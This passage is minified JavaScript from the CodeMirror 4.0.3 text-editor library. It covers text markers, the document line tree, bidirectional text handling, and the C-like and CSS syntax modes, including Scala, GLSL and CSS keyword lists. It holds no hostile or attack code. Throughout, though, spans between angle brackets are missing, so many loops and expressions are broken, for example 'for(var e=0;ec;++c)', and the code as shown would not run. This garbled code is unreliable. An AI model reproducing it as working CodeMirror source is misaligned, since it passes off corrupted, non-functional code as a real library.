0},backUp:function(a){this.pos-=a},column:function(){return this.lastColumnPos0?null:(f&&b!==!1&&(this.pos+=f[0].length),f)}var d=function(a){return c?a.toLowerCase():a},e=this.string.substr(this.pos,a.length);return d(e)==d(a)?(b!==!1&&(this.pos+=a.length),!0):void 0},current:function(){return this.string.slice(this.start,this.pos)},hideFirstChars:function(a,b){this.lineStart+=a;try{return b()}finally{this.lineStart-=a}}};var ne=z.TextMarker=function(a,b){this.lines=[],this.type=b,this.doc=a};fg(ne),ne.prototype.clear=function(){if(!this.explicitlyCleared){var a=this.doc.cm,b=a&&!a.curOp;if(b&&wc(a),eg(this,"clear")){var c=this.find();c&&bg(this,"clear",c.from,c.to)}for(var d=null,e=null,f=0;fa.display.maxLineLength&&(a.display.maxLine=i,a.display.maxLineLength=j,a.display.maxLineChanged=!0)}null!=d&&a&&this.collapsed&&Ec(a,d,e+1),this.lines.length=0,this.explicitlyCleared=!0,this.atomic&&this.doc.cantEdit&&(this.doc.cantEdit=!1,a&&Kb(a.doc)),a&&bg(a,"markerCleared",a,this),b&&xc(a)}},ne.prototype.find=function(a,b){null==a&&"bookmark"==this.type&&(a=1);for(var c,d,e=0;ec;++c){var e=this.lines[c];this.height-=e.height,Xe(e),bg(e,"delete")}this.lines.splice(a,b)},collapse:function(a){a.push.apply(a,this.lines)},insertInner:function(a,b,c){this.height+=c,this.lines=this.lines.slice(0,a).concat(b).concat(this.lines.slice(a));for(var d=0;da;++a)if(c(this.lines[a]))return!0}},of.prototype={chunkSize:function(){return this.size},removeInner:function(a,b){this.size-=b;for(var c=0;ca){var f=Math.min(b,e-a),g=d.height;if(d.removeInner(a,f),this.height-=g-d.height,e==f&&(this.children.splice(c--,1),d.parent=null),0==(b-=f))break;a=0}else a-=e}if(this.size-b<25&&(this.children.length>1||!(this.children[0]instanceof nf))){var h=[];this.collapse(h),this.children=[new nf(h)],this.children[0].parent=this}},collapse:function(a){for(var b=0;b=a){if(e.insertInner(a,b,c),e.lines&&e.lines.length>50){for(;e.lines.length>50;){var g=e.lines.splice(e.lines.length-25,25),h=new nf(g);e.height-=h.height,this.children.splice(d+1,0,h),h.parent=this}this.maybeSpill()}break}a-=f}},maybeSpill:function(){if(!(this.children.length<=10)){var a=this;do{var b=a.children.splice(a.children.length-5,5),c=new of(b);if(a.parent){a.size-=c.size,a.height-=c.height;var e=sg(a.parent.children,a);a.parent.children.splice(e+1,0,c)}else{var d=new of(a.children);d.parent=a,a.children=[d,c],a=d}c.parent=a.parent}while(a.children.length>10);a.parent.maybeSpill()}},iterN:function(a,b,c){for(var d=0;da){var g=Math.min(b,f-a);if(e.iterN(a,g,c))return!0;if(0==(b-=g))break;a=0}else a-=f}}};var pf=0,qf=z.Doc=function(a,b,c){if(!(this instanceof qf))return new qf(a,b,c);null==c&&(c=0),of.call(this,[new nf([new Ve("",null)])]),this.first=c,this.scrollTop=this.scrollLeft=0,this.cantEdit=!1,this.cleanGeneration=1,this.frontier=c;var d=mb(c,0);this.sel=ub(d),this.history=new Df(null),this.id=++pf,this.modeOption=b,"string"==typeof a&&(a=Pg(a)),mf(this,{from:d,to:d,text:a}),Hb(this,ub(d),ig)};qf.prototype=ug(of.prototype,{constructor:qf,iter:function(a,b,c){c?this.iterN(a-this.first,b-a,c):this.iterN(this.first,this.first+this.size,a)},insert:function(a,b){for(var c=0,d=0;d=0;f--)Dd(this,d[f]);h?Gb(this,h):this.cm&&Pd(this.cm)},undo:Bc(function(){Fd(this,"undo")}),redo:Bc(function(){Fd(this,"redo")}),undoSelection:Bc(function(){Fd(this,"undo",!0)}),redoSelection:Bc(function(){Fd(this,"redo",!0)}),setExtending:function(a){this.extend=a},getExtending:function(){return this.extend},historySize:function(){for(var a=this.history,b=0,c=0,d=0;d=a.ch)&&b.push(e.marker.parent||e.marker)}return b},findMarks:function(a,b){a=wb(this,a),b=wb(this,b);var c=[],d=a.line;return this.iter(a.line,b.line+1,function(e){var f=e.markedSpans;if(f)for(var g=0;gh.to||null==h.from&&d!=a.line||d==b.line&&h.from>b.ch||c.push(h.marker.parent||h.marker)}++d}),c},getAllMarks:function(){var a=[];return this.iter(function(b){var c=b.markedSpans;if(c)for(var d=0;da?(b=a,!0):(a-=e,++c,void 0)}),wb(this,mb(c,b))},indexFromPos:function(a){a=wb(this,a);var b=a.ch;return a.lineb&&(b=a.from),null!=a.to&&a.toh||h>=b)return g+(b-f);g+=h-f,g+=c-g%c,f=h+1}},og=[""],rg=function(a){a.select()};q?rg=function(a){a.selectionStart=0,a.selectionEnd=a.value.length}:g&&(rg=function(a){try{a.select()}catch(b){}}),[].indexOf&&(sg=function(a,b){return a.indexOf(b)}),[].map&&(tg=function(a,b){return a.map(b)});var Dg,xg=/[\u00df\u3040-\u309f\u30a0-\u30ff\u3400-\u4db5\u4e00-\u9fcc\uac00-\ud7af]/,yg=z.isWordChar=function(a){return/\w/.test(a)||a>"\x80"&&(a.toUpperCase()!=a.toLowerCase()||xg.test(a))},Ag=/[\u0300-\u036f\u0483-\u0489\u0591-\u05bd\u05bf\u05c1\u05c2\u05c4\u05c5\u05c7\u0610-\u061a\u064b-\u065e\u0670\u06d6-\u06dc\u06de-\u06e4\u06e7\u06e8\u06ea-\u06ed\u0711\u0730-\u074a\u07a6-\u07b0\u07eb-\u07f3\u0816-\u0819\u081b-\u0823\u0825-\u0827\u0829-\u082d\u0900-\u0902\u093c\u0941-\u0948\u094d\u0951-\u0955\u0962\u0963\u0981\u09bc\u09be\u09c1-\u09c4\u09cd\u09d7\u09e2\u09e3\u0a01\u0a02\u0a3c\u0a41\u0a42\u0a47\u0a48\u0a4b-\u0a4d\u0a51\u0a70\u0a71\u0a75\u0a81\u0a82\u0abc\u0ac1-\u0ac5\u0ac7\u0ac8\u0acd\u0ae2\u0ae3\u0b01\u0b3c\u0b3e\u0b3f\u0b41-\u0b44\u0b4d\u0b56\u0b57\u0b62\u0b63\u0b82\u0bbe\u0bc0\u0bcd\u0bd7\u0c3e-\u0c40\u0c46-\u0c48\u0c4a-\u0c4d\u0c55\u0c56\u0c62\u0c63\u0cbc\u0cbf\u0cc2\u0cc6\u0ccc\u0ccd\u0cd5\u0cd6\u0ce2\u0ce3\u0d3e\u0d41-\u0d44\u0d4d\u0d57\u0d62\u0d63\u0dca\u0dcf\u0dd2-\u0dd4\u0dd6\u0ddf\u0e31\u0e34-\u0e3a\u0e47-\u0e4e\u0eb1\u0eb4-\u0eb9\u0ebb\u0ebc\u0ec8-\u0ecd\u0f18\u0f19\u0f35\u0f37\u0f39\u0f71-\u0f7e\u0f80-\u0f84\u0f86\u0f87\u0f90-\u0f97\u0f99-\u0fbc\u0fc6\u102d-\u1030\u1032-\u1037\u1039\u103a\u103d\u103e\u1058\u1059\u105e-\u1060\u1071-\u1074\u1082\u1085\u1086\u108d\u109d\u135f\u1712-\u1714\u1732-\u1734\u1752\u1753\u1772\u1773\u17b7-\u17bd\u17c6\u17c9-\u17d3\u17dd\u180b-\u180d\u18a9\u1920-\u1922\u1927\u1928\u1932\u1939-\u193b\u1a17\u1a18\u1a56\u1a58-\u1a5e\u1a60\u1a62\u1a65-\u1a6c\u1a73-\u1a7c\u1a7f\u1b00-\u1b03\u1b34\u1b36-\u1b3a\u1b3c\u1b42\u1b6b-\u1b73\u1b80\u1b81\u1ba2-\u1ba5\u1ba8\u1ba9\u1c2c-\u1c33\u1c36\u1c37\u1cd0-\u1cd2\u1cd4-\u1ce0\u1ce2-\u1ce8\u1ced\u1dc0-\u1de6\u1dfd-\u1dff\u200c\u200d\u20d0-\u20f0\u2cef-\u2cf1\u2de0-\u2dff\u302a-\u302f\u3099\u309a\ua66f-\ua672\ua67c\ua67d\ua6f0\ua6f1\ua802\ua806\ua80b\ua825\ua826\ua8c4\ua8e0-\ua8f1\ua926-\ua92d\ua947-\ua951\ua980-\ua982\ua9b3\ua9b6-\ua9b9\ua9bc\uaa29-\uaa2e\uaa31\uaa32\uaa35\uaa36\uaa43\uaa4c\uaab0\uaab2-\uaab4\uaab7\uaab8\uaabe\uaabf\uaac1\uabe5\uabe8\uabed\udc00-\udfff\ufb1e\ufe00-\ufe0f\ufe20-\ufe26\uff9e\uff9f]/;Dg=document.createRange?function(a,b,c){var d=document.createRange();return d.setEnd(a,c),d.setStart(a,b),d}:function(a,b,c){var d=document.body.createTextRange();return d.moveToElementText(a.parentNode),d.collapse(!0),d.moveEnd("character",c),d.moveStart("character",b),d},b&&(Hg=function(){try{return document.activeElement}catch(a){return document.body}});var Jg,Lg,Ng,Ig=function(){if(d)return!1;var a=Cg("div");return"draggable"in a||"dragDrop"in a}(),Pg=z.splitLines=3!="\n\nb".split(/\n/).length?function(a){for(var b=0,c=[],d=a.length;d>=b;){var e=a.indexOf("\n",b);-1==e&&(e=a.length);var f=a.slice(b,"\r"==a.charAt(e-1)?e-1:e),g=f.indexOf("\r");-1!=g?(c.push(f.slice(0,g)),b+=g+1):(c.push(f),b=e+1)}return c}:function(a){return a.split(/\r\n?|\n/)},Qg=window.getSelection?function(a){try{return a.selectionStart!=a.selectionEnd}catch(b){return!1}}:function(a){try{var b=a.ownerDocument.selection.createRange()}catch(c){}return b&&b.parentElement()==a?0!=b.compareEndPoints("StartToEnd",b):!1},Rg=function(){var a=Cg("div");return"oncopy"in a?!0:(a.setAttribute("oncopy","return;"),"function"==typeof a.oncopy)}(),Sg={3:"Enter",8:"Backspace",9:"Tab",13:"Enter",16:"Shift",17:"Ctrl",18:"Alt",19:"Pause",20:"CapsLock",27:"Esc",32:"Space",33:"PageUp",34:"PageDown",35:"End",36:"Home",37:"Left",38:"Up",39:"Right",40:"Down",44:"PrintScrn",45:"Insert",46:"Delete",59:";",61:"=",91:"Mod",92:"Mod",93:"Mod",107:"=",109:"-",127:"Delete",173:"-",186:";",187:"=",188:",",189:"-",190:".",191:"/",192:"`",219:"[",220:"\\",221:"]",222:"'",63232:"Up",63233:"Down",63234:"Left",63235:"Right",63272:"Delete",63273:"Home",63275:"End",63276:"PageUp",63277:"PageDown",63302:"Insert"};z.keyNames=Sg,function(){for(var a=0;10>a;a++)Sg[a+48]=Sg[a+96]=String(a);for(var a=65;90>=a;a++)Sg[a]=String.fromCharCode(a);for(var a=1;12>=a;a++)Sg[a+111]=Sg[a+63235]="F"+a}();var _g,eh=function(){function c(c){return 247>=c?a.charAt(c):c>=1424&&1524>=c?"R":c>=1536&&1773>=c?b.charAt(c-1536):c>=1774&&2220>=c?"r":c>=8192&&8203>=c?"w":8204==c?"b":"L"}function j(a,b,c){this.level=a,this.from=b,this.to=c}var a="bbbbbbbbbtstwsbbbbbbbbbbbbbbssstwNN%%%NNNNNN,N,N1111111111NNNNNNNLLLLLLLLLLLLLLLLLLLLLLLLLLNNNNNNLLLLLLLLLLLLLLLLLLLLLLLLLLNNNNbbbbbbsbbbbbbbbbbbbbbbbbbbbbbbbbb,N%%%%NNNNLNNNNN%%11NLNNN1LNNNNNLLLLLLLLLLLLLLLLLLLLLLLNLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLN",b="rrrrrrrrrrrr,rNNmmmmmmrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrmmmmmmmmmmmmmmrrrrrrrnnnnnnnnnn%nnrrrmrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrmmmmmmmmmmmmmmmmmmmNmmmm",d=/[\u0590-\u05f4\u0600-\u06ff\u0700-\u08ac]/,e=/[stwN]/,f=/[LRr]/,g=/[Lb1n]/,h=/[1n]/,i="L";return function(a){if(!d.test(a))return!1;for(var m,b=a.length,k=[],l=0;b>l;++l)k.push(m=c(a.charCodeAt(l)));for(var l=0,n=i;b>l;++l){var m=k[l];"m"==m?k[l]=n:n=m}for(var l=0,o=i;b>l;++l){var m=k[l];"1"==m&&"r"==o?k[l]="n":f.test(m)&&(o=m,"r"==m&&(k[l]="R"))}for(var l=1,n=k[0];b-1>l;++l){var m=k[l];"+"==m&&"1"==n&&"1"==k[l+1]?k[l]="1":","!=m||n!=k[l+1]||"1"!=n&&"n"!=n||(k[l]=n),n=m}for(var l=0;b>l;++l){var m=k[l];if(","==m)k[l]="N";else if("%"==m){for(var p=l+1;b>p&&"%"==k[p];++p);for(var q=l&&"!"==k[l-1]||b>p&&"1"==k[p]?"1":"N",r=l;p>r;++r)k[r]=q;l=p-1}}for(var l=0,o=i;b>l;++l){var m=k[l];"L"==o&&"1"==m?k[l]="L":f.test(m)&&(o=m)}for(var l=0;b>l;++l)if(e.test(k[l])){for(var p=l+1;b>p&&e.test(k[p]);++p);for(var s="L"==(l?k[l-1]:i),t="L"==(b>p?k[p]:i),q=s||t?"L":"R",r=l;p>r;++r)k[r]=q;l=p-1}for(var v,u=[],l=0;b>l;)if(g.test(k[l])){var w=l;for(++l;b>l&&g.test(k[l]);++l);u.push(new j(0,w,l))}else{var x=l,y=u.length;for(++l;b>l&&"L"!=k[l];++l);for(var r=x;l>r;)if(h.test(k[r])){r>x&&u.splice(y,0,new j(1,x,r));var z=r;for(++r;l>r&&h.test(k[r]);++r);u.splice(y,0,new j(2,z,r)),x=r}else++r;l>x&&u.splice(y,0,new j(1,x,l))}return 1==u[0].level&&(v=a.match(/^\s+/))&&(u[0].from=v[0].length,u.unshift(new j(0,0,v[0].length))),1==qg(u).level&&(v=a.match(/\s+$/))&&(qg(u).to-=v[0].length,u.push(new j(0,b-v[0].length,b))),u[0].level!=qg(u).level&&u.push(new j(u[0].level,b,b)),u}}();return z.version="4.0.3",z}),function(a){"object"==typeof exports&&"object"==typeof module?a(require("../../lib/codemirror")):"function"==typeof define&&define.amd?define(["../../lib/codemirror"],a):a(CodeMirror)}(function(a){"use strict";a.defineMode("clike",function(b,c){function o(a,b){var c=a.next();if(k[c]){var d=k[c](a,b);if(d!==!1)return d}if('"'==c||"'"==c)return b.tokenize=p(c),b.tokenize(a,b);if(/[\[\]{}\(\),;\:\.]/.test(c))return n=c,null;if(/\d/.test(c))return a.eatWhile(/[\w\.]/),"number";if("/"==c){if(a.eat("*"))return b.tokenize=q,q(a,b);if(a.eat("/"))return a.skipToEnd(),"comment"}if(m.test(c))return a.eatWhile(m),"operator";a.eatWhile(/[\w\$_]/);var e=a.current();return g.propertyIsEnumerable(e)?(i.propertyIsEnumerable(e)&&(n="newstatement"),"keyword"):h.propertyIsEnumerable(e)?(i.propertyIsEnumerable(e)&&(n="newstatement"),"builtin"):j.propertyIsEnumerable(e)?"atom":"variable"}function p(a){return function(b,c){for(var e,d=!1,f=!1;null!=(e=b.next());){if(e==a&&!d){f=!0;break}d=!d&&"\\"==e}return(f||!d&&!l)&&(c.tokenize=null),"string"}}function q(a,b){for(var d,c=!1;d=a.next();){if("/"==d&&c){b.tokenize=null;break}c="*"==d}return"comment"}function r(a,b,c,d,e){this.indented=a,this.column=b,this.type=c,this.align=d,this.prev=e}function s(a,b,c){var d=a.indented;return a.context&&"statement"==a.context.type&&(d=a.context.indented),a.context=new r(d,b,c,null,a.context)}function t(a){var b=a.context.type;return(")"==b||"]"==b||"}"==b)&&(a.indented=a.context.indented),a.context=a.context.prev}var n,d=b.indentUnit,e=c.statementIndentUnit||d,f=c.dontAlignCalls,g=c.keywords||{},h=c.builtin||{},i=c.blockKeywords||{},j=c.atoms||{},k=c.hooks||{},l=c.multiLineStrings,m=/[+\-*&%=<>!?|\/]/;return{startState:function(a){return{tokenize:null,context:new r((a||0)-d,0,"top",!1),indented:0,startOfLine:!0}},token:function(a,b){var c=b.context;if(a.sol()&&(null==c.align&&(c.align=!1),b.indented=a.indentation(),b.startOfLine=!0),a.eatSpace())return null;n=null;var d=(b.tokenize||o)(a,b);if("comment"==d||"meta"==d)return d;if(null==c.align&&(c.align=!0),";"!=n&&":"!=n&&","!=n||"statement"!=c.type)if("{"==n)s(b,a.column(),"}");else if("["==n)s(b,a.column(),"]");else if("("==n)s(b,a.column(),")");else if("}"==n){for(;"statement"==c.type;)c=t(b);for("}"==c.type&&(c=t(b));"statement"==c.type;)c=t(b)}else n==c.type?t(b):(("}"==c.type||"top"==c.type)&&";"!=n||"statement"==c.type&&"newstatement"==n)&&s(b,a.column(),"statement");else t(b);return b.startOfLine=!1,d},indent:function(b,c){if(b.tokenize!=o&&null!=b.tokenize)return a.Pass;var g=b.context,h=c&&c.charAt(0);"statement"==g.type&&"}"==h&&(g=g.prev);var i=h==g.type;return"statement"==g.type?g.indented+("{"==h?0:e):!g.align||f&&")"==g.type?")"!=g.type||i?g.indented+(i?0:d):g.indented+e:g.column+(i?0:1)},electricChars:"{}",blockCommentStart:"/*",blockCommentEnd:"*/",lineComment:"//",fold:"brace"}}),function(){function b(a){for(var b={},c=a.split(" "),d=0;d <- <: <% >: # @ assert assume require print println printf readLine readBoolean readByte readShort readChar readInt readLong readFloat readDouble AnyVal App Application Array BufferedIterator BigDecimal BigInt Char Console Either Enumeration Equiv Error Exception Fractional Function IndexedSeq Integral Iterable Iterator List Map Numeric Nil NotNull Option Ordered Ordering PartialFunction PartialOrdering Product Proxy Range Responder Seq Serializable Set Specializable Stream StringBuilder StringContext Symbol Throwable Traversable TraversableOnce Tuple Unit Vector :: #:: Boolean Byte Character CharSequence Class ClassLoader Cloneable Comparable Compiler Double Exception Float Integer Long Math Number Object Package Pair Process Runtime Runnable SecurityManager Short StackTraceElement StrictMath String StringBuffer System Thread ThreadGroup ThreadLocal Throwable Triple Void"),blockKeywords:b("catch class do else finally for forSome if match switch try while"),atoms:b("true false null"),hooks:{"@":function(a){return a.eatWhile(/[\w\$_]/),"meta"}}}),h(["x-shader/x-vertex","x-shader/x-fragment"],{name:"clike",keywords:b("float int bool void vec2 vec3 vec4 ivec2 ivec3 ivec4 bvec2 bvec3 bvec4 mat2 mat3 mat4 sampler1D sampler2D sampler3D samplerCube sampler1DShadow sampler2DShadowconst attribute uniform varying break continue discard return for while do if else struct in out inout"),blockKeywords:b("for while do if else struct"),builtin:b("radians degrees sin cos tan asin acos atan pow exp log exp2 sqrt inversesqrt abs sign floor ceil fract mod min max clamp mix step smootstep length distance dot cross normalize ftransform faceforward reflect refract matrixCompMult lessThan lessThanEqual greaterThan greaterThanEqual equal notEqual any all not texture1D texture1DProj texture1DLod texture1DProjLod texture2D texture2DProj texture2DLod texture2DProjLod texture3D texture3DProj texture3DLod texture3DProjLod textureCube textureCubeLod shadow1D shadow2D shadow1DProj shadow2DProj shadow1DLod shadow2DLod shadow1DProjLod shadow2DProjLod dFdx dFdy fwidth noise1 noise2 noise3 noise4"),atoms:b("true false gl_FragColor gl_SecondaryColor gl_Normal gl_Vertex gl_MultiTexCoord0 gl_MultiTexCoord1 gl_MultiTexCoord2 gl_MultiTexCoord3 gl_MultiTexCoord4 gl_MultiTexCoord5 gl_MultiTexCoord6 gl_MultiTexCoord7 gl_FogCoord gl_Position gl_PointSize gl_ClipVertex gl_FrontColor gl_BackColor gl_FrontSecondaryColor gl_BackSecondaryColor gl_TexCoord gl_FogFragCoord gl_FragCoord gl_FrontFacing gl_FragColor gl_FragData gl_FragDepth gl_ModelViewMatrix gl_ProjectionMatrix gl_ModelViewProjectionMatrix gl_TextureMatrix gl_NormalMatrix gl_ModelViewMatrixInverse gl_ProjectionMatrixInverse gl_ModelViewProjectionMatrixInverse gl_TexureMatrixTranspose gl_ModelViewMatrixInverseTranspose gl_ProjectionMatrixInverseTranspose gl_ModelViewProjectionMatrixInverseTranspose gl_TextureMatrixInverseTranspose gl_NormalScale gl_DepthRange gl_ClipPlane gl_Point gl_FrontMaterial gl_BackMaterial gl_LightSource gl_LightModel gl_FrontLightModelProduct gl_BackLightModelProduct gl_TextureColor gl_EyePlaneS gl_EyePlaneT gl_EyePlaneR gl_EyePlaneQ gl_FogParameters gl_MaxLights gl_MaxClipPlanes gl_MaxTextureUnits gl_MaxTextureCoords gl_MaxVertexAttribs gl_MaxVertexUniformComponents gl_MaxVaryingFloats gl_MaxVertexTextureImageUnits gl_MaxTextureImageUnits gl_MaxFragmentUniformComponents gl_MaxCombineTextureImageUnits gl_MaxDrawBuffers"),hooks:{"#":d},modeProps:{fold:["brace","include"]}})}()}),function(a){"object"==typeof exports&&"object"==typeof module?a(require("../../lib/codemirror")):"function"==typeof define&&define.amd?define(["../../lib/codemirror"],a):a(CodeMirror)}(function(a){"use strict";function b(a){for(var b={},c=0;c")?(a.match("-->"),b.tokenize=null):a.skipToEnd(),["comment","comment"]}a.defineMode("css",function(b,c){function o(a,b){return m=b,a}function p(a,b){var c=a.next();if(e[c]){var d=e[c](a,b);if(d!==!1)return d}return"@"==c?(a.eatWhile(/[\w\\\-]/),o("def",a.current())):"="==c||("~"==c||"|"==c)&&a.eat("=")?o(null,"compare"):'"'==c||"'"==c?(b.tokenize=q(c),b.tokenize(a,b)):"#"==c?(a.eatWhile(/[\w\\\-]/),o("atom","hash")):"!"==c?(a.match(/^\s*\w*/),o("keyword","important")):/\d/.test(c)||"."==c&&a.eat(/\d/)?(a.eatWhile(/[\w.%]/),o("number","unit")):"-"!==c?/[,+>*\/]/.test(c)?o(null,"select-op"):"."==c&&a.match(/^-?[_a-z][_a-z0-9-]*/i)?o("qualifier","qualifier"):/[:;{}\[\]\(\)]/.test(c)?o(null,c):"u"==c&&a.match("rl(")?(a.backUp(1),b.tokenize=r,o("property","word")):/[\w\\\-]/.test(c)?(a.eatWhile(/[\w\\\-]/),o("property","word")):o(null,null):/[\d.]/.test(a.peek())?(a.eatWhile(/[\w.%]/),o("number","unit")):a.match(/^[^-]+-/)?o("meta","meta"):void 0}function q(a){return function(b,c){for(var e,d=!1;null!=(e=b.next());){if(e==a&&!d){")"==a&&b.backUp(1);break}d=!d&&"\\"==e}return(e==a||!d&&")"!=a)&&(c.tokenize=null),o("string","string")}}function r(a,b){return a.next(),b.tokenize=a.match(/\s*[\"\']/,!1)?null:q(")"),o(null,"(")}function s(a,b,c){this.type=a,this.indent=b,this.prev=c}function t(a,b,c){return a.context=new s(c,b.indentation()+d,a.context),c}function u(a){return a.context=a.context.prev,a.context.type}function v(a,b,c){return y[c.context.type](a,b,c)}function w(a,b,c,d){for(var e=d||1;e>0;e--)c.context=c.context.prev;return v(a,b,c)}function x(a){var b=a.current().toLowerCase();n=j.hasOwnProperty(b)?"atom":i.hasOwnProperty(b)?"keyword":"variable"}c.propertyKeywords||(c=a.resolveMode("text/css"));var m,n,d=b.indentUnit,e=c.tokenHooks,f=c.mediaTypes||{},g=c.mediaFeatures||{},h=c.propertyKeywords||{},i=c.colorKeywords||{},j=c.valueKeywords||{},k=c.fontProperties||{},l=c.allowNested,y={};return y.top=function(a,b,c){if("{"==a)return t(c,b,"block");if("}"==a&&c.context.prev)return u(c);if("@media"==a)return t(c,b,"media");if("@font-face"==a)return"font_face_before";if(/^@(-(moz|ms|o|webkit)-)?keyframes$/.test(a))return"keyframes";if(a&&"@"==a.charAt(0))return t(c,b,"at");if("hash"==a)n="builtin";else if("word"==a)n="tag";else{if("variable-definition"==a)return"maybeprop";if("interpolation"==a)return t(c,b,"interpolation");if(":"==a)return"pseudo";if(l&&"("==a)return t(c,b,"params")}return c.context.type},y.block=function(a,b,c){return"word"==a?h.hasOwnProperty(b.current().toLowerCase())?(n="property","maybeprop"):l?(n=b.match(/^\s*:/,!1)?"property":"tag","block"):(n+=" error","maybeprop"):"meta"==a?"block":l||"hash"!=a&&"qualifier"!=a?y.top(a,b,c):(n="error","block")},y.maybeprop=function(a,b,c){return":"==a?t(c,b,"prop"):v(a,b,c)},y.prop=function(a,b,c){if(";"==a)return u(c);if("{"==a&&l)return t(c,b,"propBlock");if("}"==a||"{"==a)return w(a,b,c);if("("==a)return t(c,b,"parens");if("hash"!=a||/^#([0-9a-fA-f]{3}|[0-9a-fA-f]{6})$/.test(b.current())){if("word"==a)x(b);else if("interpolation"==a)return t(c,b,"interpolation")}else n+=" error";return"prop"},y.propBlock=function(a,b,c){return"}"==a?u(c):"word"==a?(n="property","maybeprop"):c.context.type},y.parens=function(a,b,c){return"{"==a||"}"==a?w(a,b,c):")"==a?u(c):"parens"},y.pseudo=function(a,b,c){return"word"==a?(n="variable-3",c.context.type):v(a,b,c)},y.media=function(a,b,c){if("("==a)return t(c,b,"media_parens");if("}"==a)return w(a,b,c);if("{"==a)return u(c)&&t(c,b,l?"block":"top");if("word"==a){var d=b.current().toLowerCase();n="only"==d||"not"==d||"and"==d?"keyword":f.hasOwnProperty(d)?"attribute":g.hasOwnProperty(d)?"property":"error"}return c.context.type},y.media_parens=function(a,b,c){return")"==a?u(c):"{"==a||"}"==a?w(a,b,c,2):y.media(a,b,c)},y.font_face_before=function(a,b,c){return"{"==a?t(c,b,"font_face"):v(a,b,c)},y.font_face=function(a,b,c){return"}"==a?u(c):"word"==a?(n=k.hasOwnProperty(b.current().toLowerCase())?"property":"error","maybeprop"):"font_face"},y.keyframes=function(a,b,c){return"word"==a?(n="variable","keyframes"):"{"==a?t(c,b,"top"):v(a,b,c)},y.at=function(a,b,c){return";"==a?u(c):"{"==a||"}"==a?w(a,b,c):("word"==a?n="tag":"hash"==a&&(n="builtin"),"at")},y.interpolation=function(a,b,c){return"}"==a?u(c):"{"==a||";"==a?w(a,b,c):("variable"!=a&&(n="error"),"interpolation")},y.params=function(a,b,c){return")"==a?u(c):"{"==a||"}"==a?w(a,b,c):("word"==a&&x(b),"params")},{startState:function(a){return{tokenize:null,state:"top",context:new s("top",a||0,null)}},token:function(a,b){if(!b.tokenize&&a.eatSpace())return null;var c=(b.tokenize||p)(a,b);return c&&"object"==typeof c&&(m=c[1],c=c[0]),n=c,b.state=y[b.state](m,a,b),n},indent:function(a,b){var c=a.context,e=b&&b.charAt(0),f=c.indent;return"prop"==c.type&&"}"==e&&(c=c.prev),!c.prev||("}"!=e||"block"!=c.type&&"top"!=c.type&&"interpolation"!=c.type&&"font_face"!=c.type)&&(")"!=e||"parens"!=c.type&&"params"!=c.type&&"media_parens"!=c.type)&&("{"!=e||"at"!=c.type&&"media"!=c.type)||(f=c.indent-d,c=c.prev),f},electricChars:"}",blockCommentStart:"/*",blockCommentEnd:"*/",fold:"brace"}});var c=["all","aural","braille","handheld","print","projection","screen","tty","tv","embossed"],d=b(c),e=["width","min-width","max-width","height","min-height","max-height","device-width","min-device-width","max-device-width","device-height","min-device-height","max-device-height","aspect-ratio","min-aspect-ratio","max-aspect-ratio","device-aspect-ratio","min-device-aspect-ratio","max-device-aspect-ratio","color","min-color","max-color","color-index","min-color-index","max-color-index","monochrome","min-monochrome","max-monochrome","resolution","min-resolution","max-resolution","scan","grid"],f=b(e),g=["align-content","align-items","align-self","alignment-adjust","alignment-baseline","anchor-point","animation","animation-delay","animation-direction","animation-duration","animation-fill-mode","animation-iteration-count","animation-name","animation-play-state","animation-timing-function","appearance","azimuth","backface-visibility","background","background-attachment","background-clip","background-color","background-image","background-origin","background-position","background-repeat","background-size","baseline-shift","binding","bleed","bookmark-label","bookmark-level","bookmark-state","bookmark-target","border","border-bottom","border-bottom-color","border-bottom-left-radius","border-bottom-right-radius","border-bottom-style","border-bottom-width","border-collapse","border-color","border-image","border-image-outset","border-image-repeat","border-image-slice","border-image-source","border-image-width","border-left","border-left-color","border-left-style","border-left-width","border-radius","border-right","border-right-color","border-right-style","border-right-width","border-spacing","border-style","border-top","border-top-color","border-top-left-radius","border-top-right-radius","border-top-style","border-top-width","border-width","bottom","box-decoration-break","box-shadow","box-sizing","break-after","break-before","break-inside","caption-side","clear","clip","color","color-profile","column-count","column-fill","column-gap","column-rule","column-rule-color","column-rule-style","column-rule-width","column-span","column-width","columns","content","counter-increment","counter-reset","crop","cue","cue-after","cue-before","cursor","direction","display","dominant-baseline","drop-initial-after-adjust","drop-initial-after-align","drop-initial-before-adjust","drop-initial-before-align","drop-initial-size","drop-initial-value","elevation","empty-cells","fit","fit-position","flex","flex-basis","flex-direction","flex-flow","flex-grow","flex-shrink","flex-wrap","float","float-offset","flow-from","flow-into","font","font-feature-settings","font-family","font-kerning","font-language-override","font-size","font-size-adjust","font-stretch","font-style","font-synthesis","font-variant","font-variant-alternates","font-variant-caps","font-variant-east-asian","font-variant-ligatures","font-variant-numeric","font-variant-position","font-weight","grid","grid-area","grid-auto-columns","grid-auto-flow","grid-auto-position","grid-auto-rows","grid-column","grid-column-end","grid-column-start","grid-row","grid-row-end","grid-row-start","grid-template","grid-template-areas","grid-template-columns","grid-template-rows","hanging-punctuation","height","hyphens","icon","image-orientation","image-rendering","image-resolution","inline-box-align","justify-content","left","letter-spacing","line-break","line-height","line-stacking","line-stacking-ruby","line-stacking-shift","line-stacking-strategy","list-style","list-style-image","list-style-position","list-style-type","margin","margin-bottom","margin-left","margin-right","margin-top","marker-offset","marks","marquee-direction","marquee-loop","marquee-play-count","marquee-speed","marquee-style","max-height","max-width","min-height","min-width","move-to","nav-down","nav-index","nav-left","nav-right","nav-up","opacity","order","orphans","outline","outline-color","outline-offset","outline-style","outline-width","overflow","overflow-style","overflow-wrap","overflow-x","overflow-y","padding","padding-bottom","padding-left","padding-right","padding-top","page","page-break-after","page-break-before","page-break-inside","page-policy","pause","pause-after","pause-before","perspective","perspective-origin","pitch","pitch-range","play-during","position","presentation-level","punctuation-trim","quotes","region-break-after","region-break-before","region-break-inside","region-fragment","rendering-intent","resize","rest","rest-after","rest-before","richness","right","rotation","rotation-point","ruby-align","ruby-overhang","ruby-position","ruby-span","shape-inside","shape-outside","size","speak","speak-as","speak-header","speak-numeral","speak-punctuation","speech-rate","stress","string-set","tab-size","table-layout","target","target-name","target-new","target-position","text-align","text-align-last","text-decoration","text-decoration-color","text-decoration-line","text-decoration-skip","text-de